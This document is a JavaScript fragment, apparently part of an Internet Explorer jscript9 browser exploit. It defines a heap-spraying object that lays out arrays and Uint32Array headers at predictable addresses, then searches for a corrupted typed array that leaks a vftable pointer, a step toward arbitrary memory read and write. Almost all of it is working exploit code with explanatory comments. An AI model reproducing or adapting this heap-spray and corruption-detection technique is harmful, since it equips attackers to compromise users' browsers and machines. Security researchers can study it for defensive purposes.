var Sprayer = function () { // amount of arrays to create on the heap this.nrArrays = 0x1000; // size of data in one array block: 0xefe0 bytes => // subract array header (0x20) and space for typed array headers (0x1000) // from 0x10000 this.arrSize = (0x10000-0x20-0x1000)/4; // heap array container will hold our heap sprayed data this.arr = new Array(this.nrArrays); // use one buffer for all typed arrays this.intArrBuf = new ArrayBuffer(4); this.corruptedArray = null; this.corruptedArrayNext = null; }; // Spray the heap with array data blocks and subsequent typed array headers // of type Uint32Array Sprayer.prototype.spray = function() { var k = 0; while(k < this.nrArrays) { // create "jscript9!Js::JavascriptArray" with blocksize 0xf000 (data // aligned at 0xXXXX0020) this.arr[k] = new Array(this.arrSize); // fill remaining page (0x1000) after array data with headers of // "jscript9!Js::TypedArray" (0x55 * 0x30 = 0xff0) as a // typed array header has the size of 0x30. 0x10 bytes are left empty for(var i = 0; i < 0x55; i++){ // headers become aligned @ 0xXXXXf000, 0xXXXXf030, 0xXXXXf060,... this.arr[k][i] = new Uint32Array(this.intArrBuf, 0, 1); } // tag the array's last element this.arr[k][this.arrSize - 1] = 0x12121212; k += 1; } }; // Find the corrupted Uint32Array (typed array) Sprayer.prototype.find = function() { var k = 0; while(k < this.nrArrays - 1) { for(var i = 0; i < 0x55-1; i++){ if(this.arr[k][i][0] != 0){ // address of jscript9!Js::TypedArray::`vftable' // alert("0x" + arr[k][i][0].toString(16)) this.corruptedArray = this.arr[k][i]; this.corruptedArrayNext = this.arr[k+1]; this.fullMemory = this.arr[k][i+1]; return 1; } } k++; } return -1; };